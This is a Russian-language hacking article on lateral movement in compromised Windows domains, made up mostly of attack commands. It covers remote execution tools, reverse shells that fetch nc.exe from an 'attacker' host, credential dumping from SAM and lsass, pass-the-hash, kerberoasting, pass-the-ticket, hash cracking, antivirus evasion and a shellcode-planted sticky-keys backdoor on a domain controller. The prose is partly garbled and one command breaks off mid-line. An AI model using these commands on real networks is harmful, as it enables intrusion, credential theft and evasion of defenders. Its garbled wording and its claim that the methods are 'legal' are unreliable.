Проникновение в атакуемую сеть — только первый этап взлома. На втором этапе необходимо в ней закрепиться, получить учетные записи пользователей и обеспечить возможность запуска произвольного кода. В сегодняшней заметке мы поговорим о способах, позволяющих добиться данной цели, а также о том, как выполняется боковое перемещение в скомпрометированной сети.
После такого как ты проник за внешний периметр и попал во внутреннюю сеть компании, необходимо расширить в ней собственное присутствие, в случае если пытаешься найти там что‑то интересное. Как ни странно, чем больше размер внутренней сети компании, то проще ее взломать. И напротив, в случае если компания совсем небольшая, сеть взломать порою крайне сложно. Отчего так? Чем больше сеть, что больше в ней имеет возможность встретиться уязвимых или же небезопасно настроенных компонентов. При этом часто компрометация одного узла влечет за собой компрометацию сразу множества смежных с ним узлов.
Мы не станем дискутировать про главные уязвимости Windows, атаки в локальных сетях и способы поднять привилегии в среде Active Directory. Вместо этого поговорим исключительно о легальных вещах: в каких потаенных уголках Windows можно найти учетные записи и собственно как с ними потом работать. Все представленные дальше способы не считаются уязвимостями, а представляют из себя трюки by design, следовательно, при грамотном исполнении это полностью легальные процедуры.
Все примеры основаны на реальных ситуациях, с которыми можно столкнуться при перемещении по наиболее настоящим внутренним сетям. Поэтому, как обычно, коснемся проблемы максимально негромкого перемещения с возможностью байпаса антивирусов, а также сделаем упор на то, какие сетевые порты нам для этого потребуются.
Стратегия бокового перемещения
Боковое перемещение — это одновременное сочетание 2-ух техник:
-аутентифицированного удаленного выполнения кода;
-извлечения секретной информации после получения доступа.
Цикличное, последовательное повторение данных шагов порою позволяет от одного‑единственного взломанного ПК дойти до полной компрометации всей сетевой инфраструктуры. Обычно боковое перемещение, как всякое другое перемещение, преследует 1 из следующих целей:
-перехват управления контроллерами домена;
-достижение изолированных критических сетевых сегментов (например, АСУ ТП, SWIFT);
-поиск критической информации на ПК (секретные документы, платеж ные реквизиты и так далее).
Однако для достижения всякой из перечисленных целей требуются все свежие учетные данные, чтобы у атакующего была возможность перемещаться по сети и получать доступ ко все большему количеству ПК. Продвижение по внутренней сети редко обходится без взятия контроллера домена, поскольку взятие домена означает автоматическое получение доступа практически к каждому узлу сети. Собственно что касается admins hunting, при достижении контроллера домена имеет возможность показаться, собственно что разведка привилегированных учетных записей — это слепое угадывание. Но на самом деле инфраструктура Active Directory и сама Windows раскрывают достаточно информации простому доменному пользователю, зачастую позволяя рассчитать нужное направление продвижения и спланировать точную многоступенчатую цепочку взломов ещё в самом начале бокового перемещения.
После взятия контроллеров домена иногда бывает необходимо двигаться дальше — в некоторый особо охраняемый сегмент, представляющий собой объекты «бизнес‑риска». Это имеет возможность быть сегмент АСУ ТП, вмешательство в технологический процесс, доступ в сегмент SWIFT, в случае если мы имеем дело с банками, или же просто доступ на ПК генерального директора. В каждом случае мы можем столкнуться с разными сложностями бокового перемещения, о коих пойдет речь дальше.
Удаленное выполнение кода в Windows
Часть инструментов загружает на target исполняемый файл службы, пытаясь обеспечить нам удобный интерактивный режим. Но здесь кроется опасность: эти сервисы зачастую станут заблокированы антивирусом. Плюс к этому IP атакующего имеет возможность быть заблокирован, собственно что затормозит перемещение. И SOC узнает о том, собственно что в сеть кто‑то проник.
Большую часть бокового перемещения мы будем выполнять с помощью замечательного Python-пакета impacket. Для его установки требуется выполнить команду pip install impacket. После установки необходимые исполняемые файлы будут находиться в папке impacket/examples, расположение которой подскажет команда pip show -f impacket
.
MSRPC
Это реализация DCERPC от Microsoft. По сути, расширяет открытый DCERPC при помощи доступа через именованные пайпы с использованием протокола SMB. Главным образом использует 445-й TCP-порт. Перечислить доступные пайпы по словарю на SMB поможет модуль auxiliary/scanner/smb/pipe_auditor.
psexec.exe
-происхождение: sysinternals
-AV-риск: отсутствует
-используемые порты: 135, 445, 4915x/TCP
Начиная говорить об удаленном исполнении кода в Windows, нельзя не упомянуть небезызвестный psexec от Марка Руссиновича. Данная программа пользуется одинаковой популярностью и у администраторов, и у пентестеров. Принцип ее работы заключается в копировании исполняемого файла через сетевой ресурс «ADMIN$» (445/TCP) с последующим удаленным созданием и запуском службы для этого исполняемого файла через DCERPC (135,4915x/TCP). После запуска службы происходит обычное сетевое взаимодействие с удаленной командной строкой:
psexec.exe -u admin \\target cmd
Главный плюс для нас в том, что серверный компонент psexecsvc.exe подписан сертификатом Sysinternals (который принадлежит Microsoft) и, следовательно, стопроцентно легитимная программа. Также к явным достоинствам классического psexec.exe относится способность выполнять код в указанных пользовательских сеансах:
psexec.exe -u admin -i 2 \\target shutdown /l
psexec.ру
-происхождение: Python-пакет impacket
-AV-риск: есть
-используемые порты: 445/TCP
Отличная альтернатива для пользователей Linux. Однако этот инструмент почти наверняка поднимет антивирусную тревогу. Как было сказано, все дело в службе, которая копируется на удаленный хост. Это можно исправить, указав в реализации метода createService() в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования.
С помощью произвольной команды можно скрыть запуск службы удаленного администрирования.
Чтобы psexec.py не скопировал палевный компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку мы уже вручную прописали команду, этим файлом может быть что угодно:
psexec.py -file somefile.txt admin@target
Таким образом, мы напрямую выполнили команду mkdir c:\pwn, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec лишает нас того удобства использования, которое было изначально.
winexe
—происхождение: пакет winexe
-AV-риск: есть
-используемые порты: 445/TCP
Более старый нативный аналог psexec под Linux. Как и psexec, открывает удаленную интерактивную командную строку:
winexe -U admin //target cmd
В целом он полностью идентичен другим подобным инструментам, однако реже обнаруживается антивирусами. Но все же нельзя сказать, что winexe на сто процентов безопасен. Тем не менее его можно использовать для подстраховки на случай, если psexec.py вдруг не сработает.
smbexec.py
-происхождение: Python-пакет impacket / встроенный компонент Windows
-AV-риск: есть
-используемые порты: 445/TCP
Упрощенный вариант psexec, также создающий службу, только используется при этом исключительно MSRPC, а доступ к управлению службами устроен через SMB-пайп svcctl:
smbexec.py -mode SHARE admin@target
В результате будет открыт доступ к интерактивной командной строке.
services.py
—происхождение: Python-пакет impacket
—AV-риск: отсутствует
—используемые порты: 445/TCP
Еще более упрощенный вариант psexec. Тут предполагается, что мы сами ручками делаем то, что делает за нас psexec. С помощью services.py мы можем посмотреть список служб:
services.py admin@target list
Создать новую службу, указав произвольную команду:
services.py admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'
Запустить только что созданную службу:
services.py admin@target start -name 1
Замести следы и удалить ее:
services.py admin@target delete -name 1
atexec.py/at.exe
Все это дает нам еще один способ слепого неинтерактивного исполнения команд, то есть без результата. Зато это на сто процентов безопасный способ, и он не раз выручал меня, когда антивирусы на удаленном хосте убивали весь левый софт.
atexec.py/at.exe
-происхождение: Python-пакет impacket / встроенный компонент Windows
-AV-риск: отсутствует
-используемые порты: 445/TCP
Служба планировщика заданий Windows, доступная через smb-пайп atsvc. Позволяет удаленно поместить в планировщик задачу, которая выполнится в указанный момент.
В обоих случаях это не интерактивное средство удаленного исполнения кода. При использовании at.exe происходит слепое исполнение команд:
at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Вся разница в том, собственно что результат выполнения команды станет направлен в файл и прочитан сквозь сетевой ресурс ADMIN$. Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время с точностью до минуты.
reg.exe
-происхождение: компонент Windows
-AV-риск: отсутствует
-используемые порты: 445/TCP
Удаленный доступ к реестру с правами на запись на самом деле нам дает RCE. Для своей работы инструмент требует SMB-пайп winreg. По умолчанию служба удаленного реестра запущена только на серверных ОС Windows 2003–2019. А вот известный трюк с автозагрузкой (отложенное RCE):
reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Здесь используется обработчик запуска программы. Если программа запускается на ПК часто, то получим почти мгновенное RCE:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Мой любимый трюк с бэкдором в RDP:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Exe
DCERPC
DCERPC
Использует порты 135/TCP и 4915x/TCP, где 4915x — динамически назначаемые порты. Иногда могут использоваться порты из другого диапазона.
Очень часто сетевые администраторы и безопасники, которые в курсе наиболее распространенных векторов атак, в качестве mitigation просто блокируют порт 445/TCP. Тем самым они делают непригодным использование psexec и многих других способов, описанных выше. Однако, как было сказано ранее, Windows имеет множество способов удаленного исполнения кода, и DCERPC предоставляет нам такую альтернативную возможность, в некоторых случаях открывая доступ к тем же RPC-интерфейсам. По сути, мы будем использовать не сам DCERPC, а то, что работает по его технологии, например WMI.
wmiexec.py
— происхождение: Python-пакет impacket
-AV-риск: есть
-используемые порты: 135, (445), 4915x/TCP
Скрипт wmiexec.py дает возможность выполнить код в интерактивном режиме:
wmiexec.py admin@target
Однако было замечено, что хоть wmiexec.py и не запускает на удаленной стороне никаких сторонних исполняемых файлов, антивирусы его иногда ловят. Кроме того, wmiexec.py полезет за результатом на шару ADMIN$, чем задействует порт 445/TCP. Более безопасным вариантом будет слепое RCE:
wmiexec.py -nooutput admin@target "mkdir c:\pwn"
dcomexec.py
Происхождение: Python-пакет impacket
AV-риск: отсутствует
Используемые порты: 135, (445), 4915x/TCP
Инструмент, похожий на wmiexec.py. По умолчанию он интерактивный, а за результатом тоже идет на сетевой диск ADMIN$, используя порт 445/TCP:
dcomexec.py admin@target
Чтобы обойти использование порта 445/TCP, можно ограничиться слепым исполнением кода:
dcomexec.py -nooutput admin@10.0.0.64 "mkdir c:\123"
wmis
Происхождение: пакеты wmi-client, wmis
AV-риск: есть
Используемые порты: 135, 4915x/TCP
Существует небольшая путаница c утилитой wmis: она присутствует сразу в двух пакетах с одинаковым именем. Для ее вызова используется следующая команда:
wmis -U admin //target "mkdir c:\pwn"
Принципиальной разницы между ними я не заметил, за исключением того, что одна может не сработать.
wmic.exe
Происхождение: компонент Windows
AV-риск: отсутствует
используемые порты: 135, 4915x/TCP
Достаточно прикольный способ слепого исполнения кода «из коробки» для всех ОС Windows:
wmic.exe /user:username /password:s3cr3t /node:target process call create ‘»c:\1.bat»
Единственная команда Windows, которая неинтерактивно принимает логин и пароль через опции, что позволяет вызывать ее откуда угодно. Данная команда потом нам сильно поможет получить админскую учетную запись.
sc.exe
Происхождение: компонент Windows
AV-риск: отсутствует
Используемые порты: 135, 4915x/TCP
Назначение инструмента — удаленное управление службами и драйверами. Аналогично утилите services.py мы можем запустить произвольную команду при создании службы:
sc.exe \\target create testservice binPath= \path\to\prog start=auto
sc.exe \\target start testservice
При этом в отличие от services.py мы используем для этого совсем другие порты, так как здесь задействован DCERPC.
WinRM
Под этим названием скрывается новое средство удаленного администрирования Windows Remote Management, появившееся в Windows 7/2008. Использует для своей работы в качестве транспорта протокол HTTP. Но по умолчанию WinRM работает только на серверных Windows Server 2012–2019, на клиентских же Windows 7–10 требуется включить его вручную. Тем не менее, когда главная цель — это работающий на Windows Server контроллер домена, данный способ довольно полезен.
Evil-WinRM
Происхождение: Ruby-пакет evil-winrm
AV-риск: отсутствует
Используемые порты: 5985/TCP (5986/TCP)
Предоставляет интерактивный шелл:
evil-winrm -u admin -i target
WinRS.exe/PowerShell
Происхождение: компонент Windows
AV-риск: отсутствует
Используемые порты: 5985/TCP (5986/TCP)
С помощью этого встроенного компонента ОС Windows можно интерактивно получить удаленный доступ:
c:> winrs.exe -u admin -r:target cmd
Еще с использованием PowerShell можно выполнять команды и командлеты:
PS:> Enter-PSSession -ComputerName target -Credential admin
PS:>Invoke-Command -ScriptBlock {ipconfig;get-process} -ComputerName (Get- Content targets.txt)
RDP
Происхождение: пакеты freerdp2-x11, rdesktop, компонент Windows mstsc.exe и другие
AV-риск: отсутствует
Используемые порты: 3389/TCP
Не самый удобный способ исполнения кода, не самый перспективный в плане Pass-the-Hash/Pass-the-Ticket, но работающий почти из коробки почти на всех Windows:
xfreerdp /u:admin /v:target
rdesktop -u admin target
mstsc.exe /v:target
GP
Групповые политики могут помочь в исполнении кода на хорошо защищенных ПК, полностью закрытых файрволом либо расположенных в изолированных сетях. Их используют в ситуации, когда контроллер домена уже взят, но надо двигаться дальше.
Тут на помощь приходят обычные групповые политики. Их преимущество перед всеми описанными ранее методами состоит в том, что они работают как бы по схеме reverse-connect. Если до этого мы сами инициировали подключение и нам требовались открытые порты на target (135, 445, 3389, 5985, 4915x), то все, что понадобится тут, — это доступ к самому DC. Как правило, DC не прячется за файрволами, поэтому с его администрированием не должно возникнуть проблем.
С помощью оснастки gpmc.msc создаем групповую политику для нужного контейнера. В каком контейнере находится target, поможет определить оснастка dsa.msc. После создания политики на событие logon вешается скрипт на VBS с произвольным содержимым. Для срабатывания RCE нужно ждать, когда пользователь целевой машины повторно войдет в систему.
Часто такие критические компоненты внутренней инфраструктуры, как контроллер домена, охраняются SIEM. Изменение в его конфигурации, в том числе создание нового объекта групповой политики, может отслеживаться и очень негативно восприниматься безопасниками. Поэтому вместо создания новой групповой политики лучше найти существующую и внедрить нужный код в скрипт, расположенный в шаре SYSVOL.
В таблице ниже приведены основные плюсы и минусы разных методов аутентифицированного исполнения кода в дефолтном исполнении (без модификаций).
Каждый сам выбирает для себя наилучший инструмент. Но нужно знать, собственно что иногда инструмент имеет возможность не сработать. И тогда надобно владеть подстраховку, уметь выполнить код ещё несколькими способами. Данная таблица несомненно поможет для тебя сориентироваться.
Видно, собственно что наиболее «бесшумным» способом исполнения кода остаются компоненты Windows (winrs.exe, sc.exe, reg.exe, at.exe, wmic.exe, psexec.exe), но не все из их имеют все шансы похвастаться удобством. Утилиты sc.exe, reg.exe, at.exe не поддерживают передачу имени пользователя сквозь функции, поэтому для их использования нужно запустить cmd от нужного пользователя, а в случае с локальной учеткой — предварительно создать ее.
Только что мы рассмотрели разные способы аутентифицированного исполнения кода, то есть legal RCE с учетной записью. Ныне поговорим о том, где эти учетные записи можно найти, какие они бывают и в каком облике представлены.
Локальные учетные записи
При аутентификации юзеров Windows не различает регистр имени пользователя: ADMIN для нее то же, что и admin. Это справедливо и для локальных, и для доменных учетных записей.
Главная идея использования локальных учетных записей состоит в том, что один и тот же пароль может встретиться на целом ряде ПК и серверов. Порою бывает, что такие локальные учетки приводят прямо на ПК админов или сразу на контроллер домена.
Локальные пользователи вместе с NTLM-хешами хранятся в реестре по пути HKLM\sam. Сам по себе SAM (Security Account Manager) — это отдельный куст реестра, который лежит в \windows\system32\config наряду с другими кустами. Примечательно, что даже администратор (за исключением system) не может получить доступ к HKLM\sam с помощью regedit.exe или напрямую скопировав файл из системной директории. Однако команда reg.exe позволяет сделать это. Очень важно, что мы будем извлекать системные файлы с помощью встроенных компонентов ОС, а анализировать их уже на нашей системе. Тем самым мы абсолютно точно не вызовем антивирусной тревоги.
Для извлечения локальных учетных записей понадобится два куста реестра:
reg.exe save hklm\sam sam
reg.exe save hklm\system system
На своей стороне для извлечения хешей локальных учеток используем следующую команду:
creddump7\pwdump.py system sam
Также можно воспользоваться уже известным набором impacket:
secretsdump.py -system system -sam sam LOCAL
Полностью автоматизированный подход с помощью доступа через remote registry выглядит так:
secretsdump.py admin@target
В результате получаем хеши в формате Username:RID:LM-hash:NTLM-hash:::. В новых системах (начиная с Windows 7/2008R2) LM-хеш может быть пустым, то есть иметь значение aad3b435b51404eeaad3b435b51404ee, так как LM-хеши больше не используются по соображениям безопасности. Пустой пароль NTLM-хеша, в свою очередь, — это 31d6cfe0d16ae931b73c59d7e0c089c0. Во время бокового перемещения, когда хешей очень много, такие хеши надо обнаруживать сразу и отбрасывать, так как ограничение пустого пароля не позволит выполнить удаленный вход.
Pass-the-Hash
Windows имеет хорошо известную и достаточно забавную особенность, позволяющую использовать для аутентификации NTLM-хеш без необходимости выполнять его брутфорс и восстанавливать пароль.
Все извлеченные NTLM-хеши (отличные от 31d6cfe0d16ae931b73c59d7e0c089c0) могут использоваться для аутентификации на следующих типах сервисов:
MSRPC (SMB);
DCERPC (WMI);
WINRM;
MS SQL;
RDP (только Windows 2012 R2 и Windows 8.1);
LDAP;
IMAP;
HTTP.
Но выполнять код мы можем, как правило, только на первых пяти сервисах из списка, для последних трех более применимы атаки NTLM-relay. Все рассмотренные инструменты из набора impacket поддерживают передачу хеша как LM:NTLM, так и с указанием только NTLM-хеша:
psexec.py -hashes LM:NTLM admin@target
wmiexec.py -hashes :NTLM admin@target
В дистрибутиве Kali есть девять специально собранных популярных инструментов для реализации техники Pass-the-Hash. Все они начинаются на pth-:
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
pth-winexe -U admin% //target cmd
pth-wmic -U admin% //target "select Name from Win32_UserAccount"
pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt"
pth-smbclient -U admin% //target/c$
pth-rpcclient -U admin% //target
pth-sqsh -U admin -S target
pth-curl http://target/exec?cmd=ipconfig
pth-net rpc group ADDMEM 'Administrators' username -S target -U domain/user
Начиная с версии xfreerdp v2.0.0 и только для Windows 2012 R2 и Windows 8.1 можно пройти аутентификацию с использованием NTLM-хеша по RDP:
./client/X11/xfreerdp /v:target /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0
Современный WinRM, к счастью, тоже не подкачал:
evil-winrm -i target -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0
Все примеры выше — это Pass-the-Hash для Linux. Мы упоминали инструменты Windows для удаленного исполнения кода: psexec.exe, at.exe, reg.exe, wmic.exe, sc.exe, winrs.exe. Чтобы использовать их в атаках Pass-the-Hash, нужно создать временную сессию с помощью mimikatz:
mimikatz# sekurlsa::pth /user:administrator /domain:. /ntlm:31d6cfe0d16ae931b73c59
Затем в появившемся окне cmd нужный NTLM-хеш будет автоматически подставлен для любой вызываемой программы:
dir \\target\c$
Кстати, посчитать NTLM-хеш для парольной фразы можно и самостоятельно:
#!/usr/bin/python2
import hashlib,binascii,sys
if len(sys.argv) == 1:
print binascii.hexlify(hashlib.new('md4', raw_input().decode('utf-8').encode('utf-16le')).digest())
else:
print binascii.hexlify(hashlib.new('md4', sys.argv[1].encode('utf-16le')).digest())
Bruteforce
Если требуется аутентификация на сервисе, который не поддерживает Pass-the-Hash, например RDP, может быть применена атака подбором пароля на достаточно высоких скоростях. LM-хеши имеют конечный набор входных значений, шифруются половинками по 7 байт и нечувствительны к регистру. Это значит, что абсолютно любой LM-хеш может быть взломан. С NTLM-хешем ситуация немного сложнее.
LM
Для LM-хешей надежнее всего использовать rainbows (радужные таблицы) ophcrack:
ophcrack -g -d /opt/rainbows/LM -t xp_special,0,1,2,3 -f hashes-lm.txt
Либо классический брутфорс по словарю:
john --format=lm --wordlist=/usr/share/wordlists/rockyou.txt hashes-lm.txt
Раньше, кстати, существовал замечательный китайский ресурс, который любой LM-хеш мог превратить в plaintext.
NTLM
Hashcat и John по‑разному ожидают подачу NTLM-хешей. Так, для Hashcat команда выглядит следующим образом:
31d6cfe0d16ae931b73c59d7e0c089c0
hashcat -a 0 -m 1000 hashes_ntlm.txt /usr/share/wordlists/rockyou.txt
hashcat -a 3 -m 1000 hashes_ntlm.txt -1='?u?d?l' '?1?1?1?1?1?1'
Для John:
admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes_ntlm.txt
И LM-, и NTLM-хеши могут быть также найдены и для доменных пользователей при анализе памяти lsass.exe или в базе ntds.dit. Они никогда не передаются по сети как есть, вместо этого они транслируются в виде NetNTLM/NetNTLMv2-хешей, которые непригодны для Pass-the-Hash. Данные типы хешей одноразовые и могут быть использованы только в момент передачи (техника NTLM-relay) либо для брутфорс‑атак на достаточно больших скоростях.
Билеты Kerberos
Для использования Kerberos-билетов при аутентификации требуется доступ к порту 88/TCP контроллера домена.
Kerberoasting
Техника kerberoasting чрезвычайно полезна, так как часто с ее помощью можно скомпрометировать учетки администраторов домена и прочие интересные сервисные учетные записи. Для своего применения она требует любую доменную учетную запись.
Суть ее заключается в том, что для некоторых сервисных учетных записей с контроллера домена можно выгрузить TGS-билет Kerberos для доступа к той или иной службе. Эти билеты зашифрованы паролем (NTLM-хешем) соответствующего пользователя. А это значит, что такие билеты могут быть подвержены офлайн‑атаке подбором пароля по словарю. Поэтому крайне важно любой ценой достать эти билеты.
Всех пользователей, у которых можно выгрузить TGS-билет, можно найти поисковым LDAP-фильтром:
(&(samAccountType=805306368)(servicePrincipalName=*))
Классически kerberoasting можно выполнить многими способами. Например, с помощью impacket, действуя из Linux:
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain.com/username
Если атакующий использует Windows, то же самое можно сделать, например, с помощью rubeus.exe:
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus редко палится антивирусами. Но если мы рассуждаем о постэксплуатации, то нужно быть готовым к самым разным сложностям. Точкой проникновения во внутреннюю сеть может стать машина под управлением Windows, из‑за чего придется использовать ее небогатый арсенал.
Существует способ выполнить kerberoasting базовыми средствами ОС с помощью PowerShell:
PS> setspn -T domain.com -Q */*
PS> Add-Type -AssemblyName System.IdentityModel
PS> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken - ArgumentList "HTTP/web01.domain.com"
PS> klist
Однако в этом случае билеты получит Windows, а не мы. Они будут сохранены в памяти. К сожалению, базовыми средствами ОС невозможно сдампить полученные Kerberos-билеты в форму, пригодную для брутфорса.
Если антивирус не дает запустить упомянутые инструменты, мы можем сделать дамп памяти процесса lsass.exe. Есть как минимум три способа:
taskmgr.exe → ПКМ по lsass.exe → дамп памяти;
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full;
procdump.exe -ma lsass.exe /accepteula.
Если дамп удалось создать, то билеты можно безопасно извлечь уже на своей стороне:
mimikatz.exe
sekurlsa::Minidump lsass.dmp
sekurlsa::tickets /export
Однако иногда антивирус не давал мне подобраться к lsass.exe, что, в принципе, и понятно.
Извлечение Kerberos-билетов через дамп физической памяти
Если к процессу никак не подобраться, на помощь придет дамп всей физической памяти. Сделать это можно инструментом из открытого фреймворка по форензике rekall:
winpmem.exe --mode MmMapIoSpace --format raw --output ram.dmp.zip
Полученный дамп будет внушительного размера — несколько гигабайтов. Для извлечения из него билетов потребуется отладчик WinDbg и плагин для него mimilib.dll:
windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz
Извлечение Kerberos-билетов из сетевого трафика
Достаточно элегантным решением может быть перехват билетов из сетевого трафика в момент их выгрузки:
TCPdump.exe -i 1 -nn -w out.pcap
./[extracttgsrepfrompcap.py] (https://github.com/nidem/kerberoast/blob/master/extracttgsrepfrompcap.py) -f out.pcap -w out.txt
Bruteforce TGS
Применять брутфорс‑атаку имеет смысл только против TGS Kerberos-билетов (билетов для доступа к службам), так как они зашифрованы паролем пользователя:
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes-tgs.txt
hashcat3 -a 0 -m 13100 hashes-tgs.txt /usr/share/wordlists/rockyou.txt
Брутфорс будет происходить на достаточно высокой скорости — более 1 миллиона в секунду ($krb5tgs$23 RC4).
Pass-the-Ticket
Если у нас имеется Kerberos-билет TGT (билет пользователя), то мы можем применить его для аутентификации. При этом Linux и Windows используют разные форматы — ccache и kirbi соответственно. В свою очередь, билеты могут быть изначально представлены в любом из этих форматов, в зависимости от того, из какой ОС мы их взяли. Но и воспользоваться ими нужно уметь для любой ОС.
Под Windows для импорта билета в формате kirbi используется следующий подход:
mimikatz# kerberos::ptt c:\path\to\tgt.kirbi
Для импорта в формате ccache:
mimikatz# kerberos::ptс c:\path\to\tgt.ccache
После импорта используем любую нужную нам программу без указания каких‑либо ключей:
dir \\dc.company.org\c$
Под Linux делаем Pass-the-Ticket в формате ccache:
cp tgt.ccache /tmp/krb5cc_0
klist
Как упоминалось, Linux формат kirbi не понимает. Поэтому билет нужно сконвертировать в ccache c помощью kekeo.exe:
kekeo.exe "misc::convert ccache ticket.kirbi" "exit"
После импорта билеты в Linux используем следующим образом:
smbclient -k //dc.company.org/c$
winexe -k yes -N //dc.company.org cmd
Также инструменты из набора impacket могут использовать билеты без предварительного импорта:
KRB5CCNAME=`pwd`/tgt.ccache psexec.py -k -dc-ip 10.0.0.1 target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache secretsdump.py -k -no-pass target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache atexec.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache services.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com list
Чтобы использовать Kerberos-билет при аутентификации, нужно обращаться к target по имени, а не по IP-адресу.
Доменные учетные записи
Доменные учетные записи в инфраструктуре компаний, использующих Active Directory, считаются наиболее приоритетной мишенью. Именно доменные учетные записи в итоге приводят нас на контроллер домена.
Кеш хешированных доменных учетных записей
Кеш хешированных учетных записей, или Domain Credential Cache, — это куст реестра, куда записываются все успешные логоны в систему под доменными учетными записями на случай, если контроллер домена в будущем окажется недоступен. Содержимое этого кеша легко извлечь уже знакомым нам способом:
reg.exe save hklm\security security
reg.exe save hklm\system system
В нем хранятся хеши доменных учетных записей. Чтобы получить их, выполняем следующую команду:
creddump7\cachedump.py system security true
Для старых версий Windows creddump7 не всегда извлекает хеши, в таком случае может пригодиться старый же вариант creddump:
creddump\cachedump.py system security
Аналогично можно воспользоваться инструментом из impacket:
secretsdump.py -system system -security security LOCAL
Из того же кеша есть шанс получить сохраненные пароли для служб открытым текстом:
creddump7\lsadump.py system security
При боковом перемещении шанс встретить в кеше учетную запись администратора домена очень велик. Правда тут есть одно но: поскольку это кеш, то нет гарантии, что пароль после кеширования не менялся.
Существует две версии этого хеша — dcc1 (mscash1) и dcc2 (mscash2). Данные хеш‑функции имеют абсолютно одинаковую длину, и незнание версии ОС может привести к очень долгому безуспешному подбору пароля. Так, если у нас Windows XP/2003, то используется dcc1:
john --format=mscash hashes_dcc.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 1100 hashes_dcc.txt /usr/share/wordlists/rockyou.txt
Если Windows Vista/2008–10/2019, то это dcc2:
john --format=mscash2 hashes_dcc2.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txt
Учетные данные запущенных сессий
Доменные учетные записи также находятся в памяти процесса lsass.exe. Это касается только активных в данный момент сессий. Список пользователей и их процессов удобно проверять встроенной командой qprocess *.
Инструменты mimikatz.exe или wce.exe умеют извлекать для активных сессий хеши и пароли открытым текстом:
mimikatz.exe privilege::debug sekurlsa::logonPasswords
Однако антивирусы почему‑то их очень не любят. Тут снова на помощь может прийти техника дампа памяти.
Извлечение через дамп виртуальной памяти
Делаем дамп одним из перечисленных выше способов. После этого воспользуемся помощью mimikatz:
sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords
Извлечение через дамп физической памяти
Как было сказано чуть раньше, антивирус может защитить lsass.exe от посягательств и не позволить сдампить процесс ни одним из перечисленных способов. Тут вновь вооружаемся утилитой winpmem.exe и дампим всю физическую память. Антивирусу крайне сложно обнаружить процесс дампа физической памяти, так как он выполняется не через WinAPI-вызовы, а через прямое чтение памяти из режима ядра.
Проанализировать дамп памяти мы сможем с помощью отладчика WinDbg и специального модуля для него от автора mimikatz:
windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz
Также у всем известно фреймворка для форензики Volatility для этой цели существует специальный модуль:
volatility --plugins=/path/to/volatility_plugins/FrancescoPicasso -f pmem.img mimikatz
Аппаратная изоляция процесса lsalso.exe
В современных версиях Windows нас может ждать неприятный сюрприз в виде lsalso.exe — процесса, защищенного технологией виртуализации. Существуют, конечно, техники, связанные с регистрацией провайдера LSASS:
mimikatz.exe misc:memssp
Но тут придется ждать, пока админ выполнит повторный логон. Введенные учетные данные будут записаны в c:\windows\system32\mimilsa.log.
Но так ли нам нужен пароль этого администратора домена? Подумаем хорошенько: мы зашли на сервер под одной учетной записью и хотим получить пароль от другой. В пределах текущего ПК и наша, и админская учетки находятся на равных уровнях — мы оба локальные администраторы этого ПК. Это значит, что мы можем взаимодействовать как с домашним каталогом нужной нам учетки, так и с памятью его процессов.
Говоря более конкретно, мы имеем полное право писать код в память процессов, работающих от имени доменного администратора, и запускать в нем произвольные потоки. То есть мы можем просто сгенерировать шелл‑код с произвольной командой и выполнить ее от имени администратора домена, заинжектив ее в любой процесс нужного пользователя. И для этого нам не потребуется даже пароль этого админа:
msfvenom -p windows/exec CMD="wmic /node:10.0.0.10 process call create 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"'" -f raw -e x86/alpha_mixed -o shellcode.txt exitfunc=thread
Мы сгенерили шелл‑код, который с помощью WMI выполнит на контроллере домена команду, активирующую sticky keys. Желательно сделать этот шелл‑код как можно более безобидным — в данном случае он закодирован в ASCII-команды, так что будет выглядеть как простой текстовый файл. Обычно антивирусы такое не трогают.
